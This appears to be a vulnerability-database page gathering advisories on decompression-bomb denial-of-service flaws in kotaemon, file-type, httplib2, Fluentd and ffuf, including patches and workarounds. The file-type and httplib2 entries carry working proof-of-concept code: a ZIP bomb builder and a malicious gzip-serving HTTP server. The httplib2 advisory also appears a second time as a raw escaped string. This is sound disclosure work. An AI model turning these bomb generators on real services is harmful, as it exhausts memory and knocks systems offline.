Details

An issue was discovered in Cinnamon kotaemon 0.11.0. The _may_extract_zip function in the \libs\ktem\ktem\index\file\ui.py file does not check the contents of uploaded ZIP files. Although the contents are extracted into a temporary folder that is cleared before each extraction, successfully uploading a ZIP bomb could still cause the server to consume excessive resources during decompression. Moreover, if no further files are uploaded afterward, the extracted data could occupy disk space and potentially render the system unavailable. Anyone with permission to upload files can carry out this attack.

Summary
file-type: ZIP Decompression Bomb DoS via [Content_Types].xml entry
Details

Summary

A crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile().

In affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on file-type 21.3.1, a ZIP of about 255 KB caused about 257 MB of RSS growth during fileTypeFromBuffer().

This is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.

Root Cause

The ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.

For stream inputs, ZIP probing was bounded by maximumZipEntrySizeInBytes (1 MiB). For known-size inputs such as buffers, blobs, and files, the code instead used Number.MAX_SAFE_INTEGER in two relevant places:

const maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)
    ? maximumZipEntrySizeInBytes
    : Number.MAX_SAFE_INTEGER;

and:

const maximumLength = hasUnknownFileSize(this.tokenizer)
    ? maximumZipEntrySizeInBytes
    : Number.MAX_SAFE_INTEGER;

Together, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as [Content_Types].xml.

Proof of Concept

import {fileTypeFromBuffer} from 'file-type';
import archiver from 'archiver';
import {Writable} from 'node:stream';

async function createZipBomb(sizeInMegabytes) {
    return new Promise((resolve, reject) => {
        const chunks = [];
        const writable = new Writable({
            write(chunk, encoding, callback) {
                chunks.push(chunk);
                callback();
            },
        });

        const archive = archiver('zip', {zlib: {level: 9}});
        archive.pipe(writable);
        writable.on('finish', () => {
            resolve(Buffer.concat(chunks));
        });
        archive.on('error', reject);

        const xmlPrefix = '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">';
        const padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);
        archive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'});
        archive.finalize();
    });
}

const zip = await createZipBomb(256);
console.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));

const before = process.memoryUsage().rss;
await fileTypeFromBuffer(zip);
const after = process.memoryUsage().rss;

console.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));

Observed on file-type 21.3.1: - ZIP size: about 255 KB - RSS growth during detection: about 257 MB

Affected APIs

Affected: - fileTypeFromBuffer() - fileTypeFromBlob() - fileTypeFromFile()

Not affected: - fileTypeFromStream(), which already enforced the ZIP inflate limit for unknown-size inputs

Impact

Applications that inspect untrusted uploads with fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile() can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.

Cause

The issue was introduced in 399b0f1

Summary
httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling
Details

Summary

The httplib2 HTTP client library performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing MemoryError or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.

Any application using httplib2.Http().request() against untrusted or attacker-controlled HTTP endpoints is affected.

Details

Affected code: httplib2/__init__.py - _decompressContent() function

The decompression path has two unbounded operations:

  1. gzip decompression (line 394): python content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read() The .read() call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.

  2. deflate decompression (line 397): python content = zlib.decompress(content, zlib.MAX_WBITS) Similarly, zlib.decompress() returns the fully decompressed content as a single bytes object with no size bound.

  3. Automatic invocation (line 1431): _decompressContent() is called automatically on every HTTP response that includes a Content-Encoding: gzip or deflate header. The full compressed body is already buffered in memory via response.read() before decompression begins.

Root cause: There is no max_decompressed_size, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server's compressed payload size.

Attack vector: Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with: - Content-Encoding: gzip header - A small compressed body that decompresses to an arbitrarily large size

Proof of Concept

Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:

#!/usr/bin/env python3
"""Malicious HTTP server that serves a gzip decompression bomb."""
import gzip
import http.server
import io
import socketserver

UNCOMPRESSED_SIZE = 150 * 1024 * 1024  # 150 MB

def make_payload():
    """Create a gzip payload: ~150 KB compressed -> 150 MB decompressed."""
    buf = io.BytesIO()
    with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
        chunk = b"A" * (1024 * 1024)  # 1 MB of repeating bytes
        for _ in range(UNCOMPRESSED_SIZE // len(chunk)):
            gz.write(chunk)
    return buf.getvalue()

PAYLOAD = make_payload()

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Encoding", "gzip")
        self.send_header("Content-Length", str(len(PAYLOAD)))
        self.end_headers()
        self.wfile.write(PAYLOAD)
    def log_message(self, fmt, *args):
        pass

with socketserver.TCPServer(("127.0.0.1", 8000), Handler) as httpd:
    print(f"Bomb server ready: {len(PAYLOAD)} bytes compressed -> "
          f"{UNCOMPRESSED_SIZE} bytes decompressed")
    httpd.serve_forever()

Step 2 - Run the httplib2 client (in a separate terminal):

#!/usr/bin/env python3
"""Client that demonstrates MemoryError from httplib2 decompression bomb."""
import resource
import httplib2

# Set a 180 MB memory limit to make the crash deterministic
LIMIT_MB = 180
limit = LIMIT_MB * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

http = httplib2.Http(timeout=5)
try:
    response, content = http.request("http://127.0.0.1:8000/")
    print(f"Unexpected success: received {len(content)} bytes")
except MemoryError:
    print(f"MemoryError confirmed: decompression bomb exhausted "
          f"{LIMIT_MB} MB memory limit")
    # This is the expected outcome - the 150 KB compressed payload
    # expanded to 150 MB during decompression, exceeding the limit.

Expected output (client):

MemoryError confirmed: decompression bomb exhausted 180 MB memory limit

Reproduction metrics: - Compressed payload size: 152,908 bytes (~150 KB) - Decompressed size: 157,286,400 bytes (150 MB) - Amplification ratio: ~1,029x - Client memory limit: 180 MB -> MemoryError triggered during gzip.GzipFile.read()

Impact

Severity: High

Any application using httplib2 to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.

Parameter Value
Compressed payload ~150 KB
Decompressed size 150 MB (configurable by attacker)
Amplification ratio ~1,029x
Authentication required None
User interaction required None
Prerequisites Client makes any HTTP request to attacker-controlled server

Real-world scenarios: - Web scrapers/crawlers that fetch pages from untrusted URLs - API clients connecting to third-party services - Webhook handlers that follow redirects to attacker-controlled endpoints - CI/CD pipelines that download dependencies or artifacts over HTTP - Any MITM attacker on an unencrypted HTTP connection can inject the compressed payload

Impact scaling: The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.

Downstream exposure: httplib2 is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google's API client libraries (google-api-python-client, google-auth-httplib2), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.

The library unconditionally trusts the server\u0027s compressed payload size.\n\n**Attack vector:** Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:\n- `Content-Encoding: gzip` header\n- A small compressed body that decompresses to an arbitrarily large size\n\n### Proof of Concept\n\n**Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP server that serves a gzip decompression bomb.\"\"\"\nimport gzip\nimport http.server\nimport io\nimport socketserver\n\nUNCOMPRESSED_SIZE = 150 * 1024 * 1024  # 150 MB\n\ndef make_payload():\n    \"\"\"Create a gzip payload: ~150 KB compressed -\u003e 150 MB decompressed.\"\"\"\n    buf = io.BytesIO()\n    with gzip.GzipFile(fileobj=buf, mode=\"wb\", compresslevel=9) as gz:\n        chunk = b\"A\" * (1024 * 1024)  # 1 MB of repeating bytes\n        for _ in range(UNCOMPRESSED_SIZE // len(chunk)):\n            gz.write(chunk)\n    return buf.getvalue()\n\nPAYLOAD = make_payload()\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/octet-stream\")\n        self.send_header(\"Content-Encoding\", \"gzip\")\n        self.send_header(\"Content-Length\", str(len(PAYLOAD)))\n        self.end_headers()\n        self.wfile.write(PAYLOAD)\n    def log_message(self, fmt, *args):\n        pass\n\nwith socketserver.TCPServer((\"127.0.0.1\", 8000), Handler) as httpd:\n    print(f\"Bomb server ready: {len(PAYLOAD)} bytes compressed -\u003e \"\n          f\"{UNCOMPRESSED_SIZE} bytes decompressed\")\n    httpd.serve_forever()\n```\n\n**Step 2 - Run the httplib2 client (in a separate terminal):**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Client that demonstrates MemoryError from httplib2 decompression bomb.\"\"\"\nimport resource\nimport httplib2\n\n# Set a 180 MB memory limit to make the crash deterministic\nLIMIT_MB = 180\nlimit = LIMIT_MB * 1024 * 1024\nresource.setrlimit(resource.RLIMIT_AS, (limit, limit))\n\nhttp = httplib2.Http(timeout=5)\ntry:\n    response, content = http.request(\"http://127.0.0.1:8000/\")\n    print(f\"Unexpected success: received {len(content)} bytes\")\nexcept MemoryError:\n    print(f\"MemoryError confirmed: decompression bomb exhausted \"\n          f\"{LIMIT_MB} MB memory limit\")\n    # This is the expected outcome - the 150 KB compressed payload\n    # expanded to 150 MB during decompression, exceeding the limit.\n```\n\n**Expected output (client):**\n```\nMemoryError confirmed: decompression bomb exhausted 180 MB memory limit\n```\n\n**Reproduction metrics:**\n- Compressed payload size: **152,908 bytes** (~150 KB)\n- Decompressed size: **157,286,400 bytes** (150 MB)\n- Amplification ratio: **~1,029x**\n- Client memory limit: 180 MB -\u003e `MemoryError` triggered during `gzip.GzipFile.read()`\n\n### Impact\n\n**Severity: High**\n\nAny application using `httplib2` to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.\n\n| Parameter | Value |\n|---|---|\n| Compressed payload | ~150 KB |\n| Decompressed size | 150 MB (configurable by attacker) |\n| Amplification ratio | ~1,029x |\n| Authentication required | None |\n| User interaction required | None |\n| Prerequisites | Client makes any HTTP request to attacker-controlled server |\n\n**Real-world scenarios:**\n- **Web scrapers/crawlers** that fetch pages from untrusted URLs\n- **API clients** connecting to third-party services\n- **Webhook handlers** that follow redirects to attacker-controlled endpoints\n- **CI/CD pipelines** that download dependencies or artifacts over HTTP\n- **Any MITM attacker** on an unencrypted HTTP connection can inject the compressed payload\n\n**Impact scaling:** The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.\n\n**Downstream exposure:** `httplib2` is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google\u0027s API client libraries (`google-api-python-client`, `google-auth-httplib2`), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.\n\n---\n### Credit\n\nFound by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/",

Vulnerability from github – Published: 2026-06-26 16:35 – Updated: 2026-06-26 16:35
VLAI
Summary
Fluentd is Vulnerable to Denial of Service (DoS) via Gzip Decompression Bomb in `in_http` and `in_forward`
Details

Fluentd's in_http and in_forward plugins support receiving gzip-compressed data. While Fluentd correctly enforces size limits on the incoming compressed payloads (e.g., via body_size_limit or chunk_size_limit), it was discovered that there is no limit enforced on the size of the decompressed data.

If a Fluentd instance is exposed to untrusted networks, an attacker can send a maliciously crafted, highly compressed payload. When Fluentd attempts to decompress this payload in memory, it will expand to an excessive size, completely bypassing the intended payload size limits.

Impact

This vulnerability allows for a Denial of Service (DoS) attack via memory exhaustion. The rapid memory consumption during decompression can easily lead to an Out-of-Memory kill of the Fluentd process by the operating system. This results in the disruption of all log collection and forwarding capabilities on the affected node.

Patches

v1.19.3

Workarounds

If an immediate upgrade is not possible, users are strongly advised to apply the following mitigations:

  1. Restrict Network Access
  2. Ensure that Fluentd input ports (such as 9880 for in_http and 24224 for in_forward) are deployed within a closed, trusted network. Use firewall rules (e.g., iptables, AWS Security Groups) to block access from untrusted networks or instances.
  3. Use a Reverse Proxy
  4. If developers must expose HTTP ingestion to external sources, place a robust reverse proxy (such as Nginx) in front of Fluentd. Configure the proxy to handle the gzip decompression and enforce strict limits on both compressed and uncompressed body sizes before passing the traffic to Fluentd.

Summary
ffuf denial of service (OOM) via HTTP response decompression bomb
Details

Summary

A malicious or attacker-controlled target server can crash ffuf with an out-of-memory condition by returning a compressed HTTP response that decompresses to a very large body (a decompression bomb). This works against default usage with no special flags.

### Details

The response body size guard in pkg/runner/simple.go only checks the server-supplied Content-Length header, which reflects the compressed size and is absent for chunked responses or when Go's net/http transport transparently decompresses the body. After that check, io.ReadAll reads the entire decompressed stream into memory with no upper bound, so a small compressed body that expands to gigabytes causes unbounded allocation and the process is terminated by the OS OOM killer.

The guard is bypassed in three independent ways:

  1. gzip (default configuration): the transport requests gzip on its own and transparently decompresses the response, stripping Content-Encoding and Content-Length, so the size check is skipped and the already-decoded body is read unbounded.
  2. brotli/deflate (or gzip with headers preserved): Content-Length reflects the small compressed size and passes the check; the body is then manually decompressed into an unbounded io.ReadAll.
  3. chunked transfer encoding: no Content-Length header is present, so the numeric parse fails and the check is skipped entirely.

### Impact

Denial of service against the operator running ffuf. A single hostile endpoint can OOM-kill ffuf on a default invocation such as ffuf -u http://target/FUZZ -w wordlist.txt, discarding all in-memory scan results. Because the crash recurs on every attempt against that target, a server can effectively make itself immune to ffuf-based content discovery. There is no confidentiality or integrity impact; only the availability of the scanning process is affected. CVSS 3.1 base score 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H), CWE-409 (Improper Handling of Highly Compressed Data).

### Patches

Fixed in ffuf 2.2.0 (https://github.com/ffuf/ffuf/releases/tag/v2.2.0) via https://github.com/ffuf/ffuf/pull/897. The response body read is now bounded with io.LimitReader to the existing 5 MB download cap regardless of Content-Encoding, chunked framing, or transport-level decompression; responses exceeding the cap are dropped rather than read into memory. Upgrade to 2.2.0 or later.

### Workarounds

There is no configuration flag that fully mitigates this in affected versions. Until upgrading, limit ffuf usage against untrusted or attacker-influenced targets. Upgrading to 2.2.0 is the fix.
